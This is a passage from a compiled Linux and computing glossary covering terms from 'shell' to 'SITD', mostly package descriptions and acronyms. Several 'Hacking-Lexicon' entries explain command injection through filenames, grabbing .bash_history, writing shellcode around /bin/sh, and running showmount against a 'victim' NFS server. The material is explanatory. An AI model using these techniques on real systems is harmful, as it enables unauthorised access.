a utility program that enables the user to interact with the UNIX operating system. Commands entered by the user are passed by the shell to the operating system which carries them out. The results are then passed back by the shell and displayed on the user's display. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Shell

One of several command line interfaces available on Unix machines, some common shells include Bourne shell, ksh, and tcsh. From KADOWKEV http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shell

The default command−line interface on UNIX systems. Key point: This is similar to the "Command Prompt" or incorrectly named "DOS Prompt" on Windows systems. Key point: Many systems pass filenames along with commands directly to the shell. Hackers can exploit this by sending special shell characters (like the pipe | character) as part of filenames in order to execute their own commands. This is an example of an input validation exploit. Examples of this are web−servers, PERL scripts, and CGI scripts. Key point: The most popular shell among hackers is probably "bash", the shell from GNU that ships with Linux. (Culture: The original shell on UNIX is known as the "Bourne Shell", named for its creator. The acronym "bash" means "Bourne Again SHell", reflecting that fact that it is a rewrite of that shell). Key point: Retrieving someone's .bash_history file is a common attack against UNIX machines. Several embedded systems have shipped such that the file http://raq.robertgraham.com/~root/.bash_history could be retrieved via the web. Key point: The holy grail of UNIX hacking is to somehow obtain (or re−obtain) a root shell. In other words, the hacker wants to get a command−line on the victim system in order to carry out any task. For this reason, buffer overflow exploits often contain what is called "shell code". When the victim process is running with root privileges, the buffer−overflow will cause that process to begin running a shell. For example, an exploit might send a long password containing the shell code to an FTP server, converting the TCP connection to the FTP server into a full command−prompt from which any program can be launched. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shell

[orig. Multics n. techspeak, widely propagated via Unix] 1. [techspeak] The command interpreter used to pass commands to an operating system; so called because it is the part of the operating system that interfaces with the outside world. 2. More generally, any interface program that mediates access to a special resource or server for convenience, efficiency, or security reasons; for this meaning, the usage is usually `a shell around' whatever. This sort of program is also called a `wrapper'. 3. A skeleton program, created by hand or by another program (like, say, a parser generator), which provides the necessary incantations to set up some task and the control flow to drive it (the term driver is sometimes used synonymously). The user is meant to fill in whatever code is needed to get real work done. This usage is common in the AI and Microsoft Windows worlds, and confuses Unix hackers. Historical note: Apparently, the original Multics shell (sense 1) was so called because it was a shell (sense 3); it ran user programs not by starting up separate processes, but by dynamically linking the programs into its own code, calling them as subroutines, and then dynamically de−linking them on return. The VMS command interpreter still does something very like this. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shell out

vi. [Unix] To spawn an interactive subshell from within a program (e.g., a mailer or editor). "Bang foo runs foo in a subshell, while bang alone shells out." From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shell prompt

a character at the start of the command line which indicates that the shell is ready to receive your commands. The character is usually a '%' (percent sign) or a $ (dollar sign). It may be different on your system. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shell prompt
An application that offers interactive console or terminal access to a computer system. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Shell Prompt
The user input area of a shell. Whereas in a DOS shell the command prompt is designated by a Greater Than (>) symbol, in Linux it is usually a Percent (%) symbol, Dollar sign ($) or other special character, depending on the shell used. (Also, see Command Prompt.) From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shell script
A program written to be interpreted by the shell of an operating system such as Linux. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Shell Script
A script designed to be run automatically when a shell is started. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Shell Scripting
Shell Scripting and hence computer programming is merely the idea of getting a number of commands to be executed, that in combination do some unique powerful function. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shellcode
When a hackers successfully exploit vulnerabilities like buffer overflows, they will typically open a shell at the end of the exploit. With a command−line shell, the hacker will then be able to carry out any task they desire. However, opening shells within buffer overflow exploits can be difficult. Therefore, hackers often maintain libraries of "shellcode": code fragments for various operating systems that can be pasted into buffer overflow exploits. Key point: One of the difficulties in writing shellcode is that need to pass through filters. For example, when exploiting a bug in an SMTP server, you may find that the server strips the high−order bit from all bytes (i.e. will pass text but not binary). Therefore, all bytes between 0x00−07F will pass through, but not 0x80−0xFF. Alternately, a big limitation is systems that won't pass nul characters (0x00) because they terminate strings in functions like strcpy(). Therefore, when a hacker picks shellcode to append to their script, they must be fully aware of the limitations of the system they are dealing with. Key point: When creating new shellcode, create a C program that calls something like "system("/bin/sh");" or "execve("/bin/sh",0,0);" and grab the assembly output. At that point, pare it down to what you need. This requires extensive knowledge of assembly, needless to say. Key point: Sometimes you won't be able to grab a shell, so you have to create the exploit script to run a command. Typical choices of commands would be those that change passwords, add accounts, or in some fashion open up some other hole on the system. Key point: The vast majority of buffer overflow attacks will execute /bin/sh. Therefore, by simply removing this program (or replacing it with something that double−checks what's being done), you can protect yourself against many 0−day exploits. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shellutils
The GNU shell programming utilities. The utilities: basename chroot date dirname echo env expr factor false groups hostid id logname nice nohup pathchk pinky printenv printf pwd seq sleep stty tee test true tty uname users who whoami yes. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SHF
Super−High Frequency From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shhmsg

library for displaying messages − runtime This is Sverre H. Huseby's library for displaying messages in terminal based programs. It can treat the verbosity level and prepend the program name if necessary. This package contains what you need to run programs that use this library. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shhopt

Command line option parser − runtime This is Sverre H. Huseby's library for parsing command line options. Both traditional one−character options and GNU−style −−long−options are supported. This library does a little more than standard getopt. This package contains what you need to run programs that use this library. upstream webpage: http://shh.thathost.com/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shift left (or right) logical

[from any of various machines' instruction sets] 1. vi. To move oneself to the left (right). To move out of the way. 2. imper. "Get out of that (my) seat! You can shift to that empty one to the left (right)." Often used without the `logical', or as `left shift' instead of `shift left'. Sometimes heard as LSH /lish/, from the PDP−10 instruction set. See Programmer's Cheer. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shoop

The SHell Object Oriented Programming library Every language under the sun these days is Object Oriented. In an effort to make POSIX shell more buzzword compliant, and to show that it's really not a big deal for a language to lack built−in OO support, we have added object orientation to plain old shell script. Specifically, we have implemented classless OO with introspection, finalization, serialization, and multiple inheritance. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shoop−modules

A collection of shoop modules This package includes various modules for shoop, such as introspect, prettyprint, serialize, and some others. It is a good idea to have these at hand! From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shorewall

Shoreline Firewall (Shorewall) The Shoreline Firewall (Shorewall) is an iptables based firewall that can be used on a dedicated firewall system, a multi−function masquerade gateway/server or on a standalone Linux system. Shorewall supports these features: * Customizable using configuration files. * Supports status monitoring with an audible alarm when an "interesting" packet is detected. * Include a fallback script that backs out the installation of the most recent version of Shoreline Firewall and an uninstall script for completely uninstalling the firewall. * Static NAT is supported. * Proxy ARP is supported. * Provides DMZ functionality. * Support for IPSEC, GRE and IPIP Tunnels. * Limited support for Traffic Control/Shaping From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shortcut

An object that simplifies the process of accessing a file or running a program. A desktop icon is an example of an application shortcut. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shoulder surfing

Slang for watching somebody type their password on their keyboard. In much the same way that hackers teach themselves to read upside−down (in order to read documents when seated in front of a desk), hackers can also practice watching people type on the keyboard. Analogy: Crooks often steal credit card numbers in the same way. They stand behind people in line and read their credit cards as they sit on the countertop during handling. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

showcfont

displays all characters in the current screen−font. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

showfont

displays all characters in the current screen−font. From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

showfont

font dumper for X font server From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

showimg

A feature−rich image viewer ShowImg is a feature−rich image viewer which can display numerous formats, including JPEG, PNG, GIF (animated) and MNG. It consists of a tree view frame, a directory/preview frame, and a view frame. The (larger) view frame can be exchanged with the (smaller) directory/preview frame. It can preview and display images from multiple directories and search for identical images. ShowImg also features a full−screen mode, zooming, sorting, drag'n'drop with Konqueror, and support for images in compressed archives (.zip). From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

showkey

examine the scan codes and keycodes sent by the keyboard From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

showmount

A tool for scanning a UNIX NFS servers to see what directories it is sharing/exporting and to whom. There are two basic forms of this command: showmount victim Shows which machines are logged onto the victim NFS server. showmount −e victim Shows which directories are being exported, and which groups can log on. Entries marked as (everyone) allow anybody to log on. Key point: This command used the rpc.mountd protocol (RPC program number 100005). On most systems, these commands do not require authentication, which means that anybody can run them. The showmount command with no arguments equates the MOUNTPROG_DUMP procedure, whereas the −e option equates to the MOUNTPROG_EXPORT procedure. This protocol is extremely light−weight, only two packets in each direction are needed: one for the portmap, and one for the procedure call. Contrast: Similar capabilities exist on Windows for Microsoft's SMB protocols. The net view \\victim command on Windows will view the shares that the victim is exporting. From Hacking−Lexicon
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

showmount

show mount information for an NFS server From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

showrgb

uncompile an rgb color−name database From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shred

delete a file securely, first overwriting it to hide its contents From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shtool

GNU Portable shell tool GNU shtool is a tool for developers of software programs. It is a compilation of small but very stable and portable shell scripts into a single shell tool. All ingredients were in successful use over many years in various free software projects. The compiled shtool program is intended to be used inside the source tree of other free software packages. There it can overtake various (usually non−portable) tasks related to the building and installation of such a package. It especially can replace the old mkdir.sh, install.sh and related scripts. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SHTSI

Somebody Had To Say It (slang, Usenet) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SHTTP

Secure HyperText Transfer Protocol (HTTP), "S−HTTP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SHTTP

Secure hypertext transfer protocol − developed by Enterprise Integration Technologies to ensure security with commercial transactions on the Internet. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SHTTP (Secure Hyper Text Transport Protocol)

A secure, encrypted version of HTTP used for financial transactions and other private information sent via the Internet. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SHTTP (Secure Hypertext Transport Protocol)

An extension of the World Wide Web's HyperText Transport Protocol (HTTP) that supports secure commercial transactions on the Web. Secure HTTP provides this support in two ways by assuring vendors that the customers attempting to buy the vendors' wares are who they say they are (authentication) and by encrypting sensitive information, such as credit−card numbers , so that it cannot be intercepted while en route. Secure HTTP was developed by Enterprise Integration Technology (EIT) and the National Center Supercomputing Applications (NCSA), with subsequent commercial development by Terisa system. Netscape communications developed a competing security technology , the Secure Sockets Layer (SSL) protocol. The two security protocols are incompatible, and for a time it was feared that no single widely accepted security protocol would emerge. In early 1995, however Netscape invested heavily in Terisa Systems and announced that it would integrate Secure HTTTP and SSL to provide the Web community with a single security protocol that will work with any security−capable browser. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shutdown

bring the system down From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shutdown

brings the system down in a secure way. All logged in users are notified that the system is going down, and login(1) is blocked. It is possible to shut the system down immideately, or after a delay. All processes are first notified that the system is going down by the signal SIGTERM. This gives programs like vi(1) the time to save the file being editted, mail and news processing programs a chance to exit cleanly, etc. Shutdown does its job by signalling the init process, asking it to change the runlevel. Runlevel 0 is used to halt the system, runlevel 6 is used to reboot the system and runlevel 1 is used to put to system into a state where administrative tasks can be performed. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shutdown

shut down part of a full−duplex connection From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SHV

Standard High Volume [motherboard] (SMP, Intel) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

shx

a console hotline client Used to connect to Hotline servers. See http://www.BigRedH.com/ for more information about Hotline. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

si

/proc system information viewer si (System Information Viewer) is a Linux application that displays information about the local computer from data gathered from the /proc filesystem, a readable interface to kernel memory. si displays information related to the CPU, hardware, memory, kernel, filesystems, network and running processes. Information is presented in a plain−text dump, colorized−pages, or process−information interface. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Standard Industry Classification From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIC
Subject Indicator Code From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SICE
??? (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SICS
Swedish Institute of Computer Sciences (org., Sweden) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SID
Security IDentifier From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SID
: Signaling IDentifier From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SID
: Society for Information Displays (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SID
: SWIFT Interface Device (SWIFT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SID
: System IDentification From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIDF
: System Independent Data Format (Novell, SMS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIDM
: Serial Impact Dot Matrix [printer] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sidplay−base
: Music player for tunes from C64 and C128 (console) This is a simple music player for C64 and C128 tunes, also known as SID tunes. The package includes a program (sid2wav) for creating .wav files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIDR
: Service Independent Data Requester (Novell, Netware) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

siege
: Http regression testing and benchmarking utility Siege is an regression test and benchmark utility. It can stress test a single URL with a user defined number of simulated users, or it can read many URLs into memory and stress them simultaneously. The program reports the total number of hits recorded, bytes transferred, response time, concurrency, and return status. Siege supports HTTP/1.0 and 1.1 protocols, the GET and POST directives, cookies, transaction logging, and basic authentication. Its features are configurable on a per user basis. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

siege−ssl
: Http/https regression testing and benchmarking utility Siege is an regression test and benchmark utility. It can stress test a single URL with a user defined number of simulated users, or it can read many URLs into memory and stress them simultaneously. The program reports the total number of hits recorded, bytes transferred, response time, concurrency, and return status. Siege supports HTTP/1.0 and 1.1 protocols, the GET and POST directives, cookies, transaction logging, and basic authentication. Its features are configurable on a per user basis. This version of siege package includes HTTPS support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIETEM
: Siemens TTCN Test Manager (TTCN, Tektronix, SNI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIF
: Significant Pel Field (MPEG) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIFT
: Software Implemeted Fault Tolerance (HIFT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIFTUFT

Sender−Initiated File Transfer/Unsolicited File Transfer (RFC 1440), "SIFT/UFT" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIG

/sig/ n. (also common as a prefix in combining forms) A Special Interest Group, in one of several technical areas, sponsored by the Association for Computing Machinery; well−known ones include SIGPLAN (the Special Interest Group on Programming Languages), SIGARCH (the Special Interest Group for Computer Architecture) and SIGGRAPH (the Special Interest Group for Computer Graphics). Hackers, not surprisingly, like to overextend this naming convention to less formal associations like SIGBEER (at ACM conferences) and SIGFOOD (at University of Illinois). From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIG

Special Interest Group From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sig block

/sig blok/ n. [Unix; often written `.sig' there] Short for `signature', used specifically to refer to the electronic signature block that most Unix mail− and news−posting software will automagically append to outgoing mail and news. The composition of one's sig can be quite an art form, including an ASCII logo or one's choice of witty sayings (see sig quote, fool file); but many consider large sigs a waste of bandwidth, and it has been observed that the size of one's sig block is usually inversely proportional to one's longevity and level of prestige on the net. See also doubled sig. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGART

[ACM] Special Interest Group on ARTificial intelligence (org., ACM, AI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGBIT

Special Interest Group on Business Information Technology From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGCAT

Special Interest Group for CD−ROM Applications Technology (CD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGCPR

Special Interest Group on Computer Personal Research (org., ACM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGCSE

Special Interest Group on Computer Science Education (org., ACM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGDA

Special Interest Group on Design Automation (org., ???) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGG

SIGnaturGesetz DFUe, Germany, "SigG" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGL

SIGnal Line (REXX) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGMA

Software Industrialized Generator and Maintenance Aids system (MITI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

signal

Software interrupts sent to a program to indicate that an important event has occurred. The events can vary from user requests to illegal memory access errors. Some signals, like the interrupt signal, indicate that a user has asked the program to do something that is not in the usual flow of control. http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Signals
used to inform processes of unexpected external events such as a time out or forced termination of a process. A signal consists of prescribed message with a default action embedded in it. Each signal has a unique number associated with it. An example is SEGV, segmentation violation. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

signature
In anti−virus and intrusion detection systems, a signature is a pattern that the system will look for when scanning files or network traffic. (Note: this term is unrelated to digital signatures). Key point: Marketing forces often mean that companies have to fill their products with useless signatures. Don't be impressed because one product has more signatures than another. Key point: One of the key goals of hacking is to evade signature detection. Virus writers attempt to encrypt their viruses, whereas remote hackers attempt to alter the networking protocol so that it has the same effect, but a different pattern on the wire. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGNC
Special Internet Group Name Cache From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

signify
Automatic, semi−random ".signature" rotator/generator Signify is a neat little program that allows a random signature to be generated from a set of rules. Each "section" can be one of an unlimited number of possibilities, each with its own weighting so those really cool quotes can appear more often than others. Sections can also be placed next to each other vertically to create columns. Each section can be formatted independently as left/right/center and top/bottom/vcenter. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

signing−party
Scripts and docs useful for keysigning parties To improve the web of trust, so−called signing parties are held at various occasions From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGPLAN
Special Interest Group for Programming LANguages From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sigrot
Signature file rotation program. Rotates your .signature file every time the sigrot is run. Includes an option for a non−rotating header and/or footer with a rotating middle. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGV
SIGnaturVerordnung (DFUe), "SigV" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIGWEB
Special Interest Group on the world wide WEB (org., UK) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SII
Static Invocation Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIIA
Software and Information Industry Association (org., USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sillypoker
A poker game silly Poker is an advanced poker game with support for a single player against 1−4 computer opponents in five card draw, five card stud, and seven card stud poker games. The program in this package contains support for the standard text interface and the curses interface. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SILS
: Secure Interoperable LAN/MAN Standard (LAN, MAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SILS
: Standard for Interoperable LAN Security (LAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIM
: Signal Interface Module From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIM
: Subscriber Identity Module (GSM, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIMD
: Single Instruction [stream], Multiple Data [stream] (CPU) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIMDIS
: SIMulation DISposition (MBAG) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

simgear0
: Simulator Construction Gear −− shared libraries SimGear is a collection of libraries useful for constructing simulation and visualization applications such as FlightGear or TerraGear. This package contains the shared libraries. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIMIS
: SIcheres MIkroprozessor System (SNI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIMM
: Single Inline Memory Module (IC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIMNET
: SIMulation NETwork (network) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

simph323
: Simple example from the OpenH323 project The OpenH323 project aims to create a full featured, interoperable, Open Source implementation of the ITU H.323 teleconferencing protocol that can be used freely by everybody. This protocol is most used for Voice over IP (VoIP) conferencing. For more information on the OpenH323 project visit them at http://www.openh323.org/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

simple mail transfer protocol (SMTP)
: A protocol for delivering email; the standard email protocol used on the Internet, SMTP is also used in other TCP/IP networks. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Simply GNUstep
: Simply GNUstep is a Linux/GNU distribution aimed at providing an OpenStep feeling from bootup on. This is a stripped down distribution, providing ease of use. (Think OS X for x86). InterimDeveloperRelease−1 came out on August 14, 2002. Version 1 was released September 9, 2002. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

simulpic
: Microchip PIC device simulator This software allows to simulate the execution of any program on a Microchip family microcontroller device. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

since

A tail(1) work−alike that saves and uses state information. since is a tail(1) work−alike that remembers how much of a file you have viewed and displays only what's new when you next view that file. Ideal for viewing log files (it'll only show what's new in the file since the last time it was run). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sinek

GTK+ video/audio player, an alternative frontend to xine Sinek is a GTK+ video/audio player, capable of supporting all formats xine supports. At the moment, this includes: * Audio MPEG layers 1, 2, and 3, * Vorbis (.ogg), * pcm, * Video MPEG 1 and 2, * MPEG 4 (aka OpenDivX), * MS MPEG 4 (aka DivX), * motion jpeg. One of the main differences between Sinek and other popular multimedia players is that it doesn't use skins; instead, it has a standard GTK+ interface. In other words, it doesn't clash with your GTK+ theme. :) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sing

A fully programmable ping replacement. Sing is a little tool that sends ICMP packets fully customized from command line. The main purpose is to replace/complement the niceful ping command with certain enhancements as: − Send fragmented packets (Linux and BSD). − Send monster packets > 65534 (Linux and BSD). − Send/read spoofed packets.(Libpcap included in distribution). − Send many ICMP Information types in addition to the ECHO REQUEST type sent by default as Address Mask Request, Timestamp, Information Request, − Router Solicitation and Router Advertisement. − Send many ICMP error types: Redirect, Source Quench, Time Exceeded, Destination Unreach and Parameter Problem. − Send to host with Loose or Strict Source Routing. − Use little fingerprinting techniques to discover Window$ or Solaris boxes. − Send ICMP packets emulating certain OS: Cisco, Solaris, Linux, Shiva, Unix and Window$ at the moment. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

single user mode

a system mode created for administrative and maintenance activities demand complete control of the system. When the system is in this state whoever is logged in becomes root. This is however, a minimal system startup state. Only the root partition is mounted so only commands that reside in the root filesystem are available. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

single−click

To tap a mouse button one time. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIO

Simultan Input Output (QMS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sip

Python/C++ Bindings Generator SIP is a tool for generating bindings for C++ classes with some ideas borrowed from SWIG, but capable of tighter bindings, because it's specific to C++ and Python. SIP was originally designed to generate Python bindings for KDE and so has explicit support for the signal slot mechanism used by the Qt/KDE class libraries. Features: − connecting Qt signals to Python functions and class methods − connecting Python signals to Qt slots − overloading virtual member functions with Python class methods − protected member functions − abstract classes − enumerated types − global class instances − static member functions. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIP

SCSI−3 Interlocked Protocol (SAM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIP

Session Initiation Protocol (IETF, VOIP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIP
: Simulated Input Processor From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIP
: SMDS Interface Protocol (SMDS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIP
: Strategische InformationsPlanung (IM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIP
: Symbolic Input Program From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIPC
: Simply Interactive Personal Computer From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIPO
: Serial In Parallel Out From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sipp
: create and render 3−d scenes This is SIPP, the SImple Polygon Processor, version 3.1. SIPP is a library for creating 3−dimensional scenes and rendering them using a scan−line z−buffer algorithm. A scene is built up of objects which can be transformed with rotation, translation and scaling. The objects form hierarchies where each object can have arbitrarily many subobjects and subsurfaces. A surface is a number of connected polygons which are rendered with either Phong, Gouraud or flat shading. An image can also be rendered as a line drawing of the polygon edges without any shading at all. The library supports texture mapping with textures in up to 3−dimensions and automatic interpolation of texture coordinates. Simple anti−aliasing can be performed through oversampling. A scene can be illuminated by an arbitrary number of light sources and a number of different light sources are availaible. The light from some of them are capable of casting shadows of objects. A basic shading algorithm is provided with the library, but the user can also use his own shading algorithms for each surface to produce special effects. Objects can have varying degree of transparency, controlled by the shader. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIPP
: Simple Internet Protocol Plus (IP, IPV6, RFC 1710, Internet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIPP
: SImple Polygone Processor (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIPP
: Single Inline Package Pin (IC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIPRNET
: Secret IP Router NETwork (DISN, mil.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIQ
: Single Input Queue (IBM, OS/2) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIR
: Save Instruction Recognition From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIR
: Selective Information Retrieval From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIR

Serial InfraRed (HP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIR

Sicherheit im Rechenzentrum (TPS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIR

Statistical Information Retrieval From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIR

Sustained Information Rate (SMDS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sirc

The full−featured Perl IRC client sirc, the Perl IRC client, is a full−featured package to let you chat with anyone, anywhere in the world. sirc has all the features you need in an IRC client −− DCC, logging, and a huge ability to be customized are all part of the package. With Perl, it's quite simple to extend sirc's capabilities −− the programming interface is well−documented and well−developed. Several example scripts are included in /usr/lib/sirc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIRENE

Supplementary Information REquest at the National Entry (SIS, Europe) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIS

Schengen Information System (police, Europe) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIS

Silicon Integrated Systems [corp.] (manufacturer, Taiwan) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIS

Software Information Services From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIS

Stellen−Informations−Service (WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIS

Strategic Information System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SISAL

Streams and Iteration in a Single−Assignment Language From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SISD

Single Instruction [stream], Single Data [stream] (CPU) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SIT

institut fuer SIchere Telekommunikation (GMD, org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SITD

